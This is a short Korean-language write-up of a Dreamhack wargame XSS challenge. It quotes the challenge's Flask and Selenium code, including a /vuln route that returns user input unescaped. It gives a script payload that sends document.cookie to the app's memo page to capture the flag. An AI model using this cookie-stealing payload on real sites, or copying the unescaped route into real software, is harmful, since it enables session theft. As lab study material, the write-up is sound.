-
https://dreamhack.io/wargame/challenges/28
def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return True def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie)
return param이니까 vulun의 param으로 들어간 값을 바로 실행해준다. 따라서 param에 실행할 수 있는 script태그를 넣어야한다.
@app.route("/vuln") def vuln(): param = request.args.get("param", "") return param
flag 에서 post 로 호출을 보내면 check_xss 에서 vuln으로 들어가고 실행한다. 따라서 flag의 input tag에 <script>를 넣어준다.
<script>location.href="/memo?memo="+document.cookie;</script>
를 넣어주면 위의 vuln홈페이지에서 <script> 태그가 실행되고 메모에 플래그가 저장된다.
@app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
보면 지금 메모라는 파라미터(인수)로 들어오는 값을 global variable인 memo_text에 저장한다. 따라서 해당 memo_text에 flag를 저장해 확인 할 수 있다.
@app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text)
vuln에서 그대로 param으로 들어오는 값을 그대로 return하는 코드를 활용해 flag에 script를 넣음으로써 memo_Text에 flag를 저장 할 수 있다.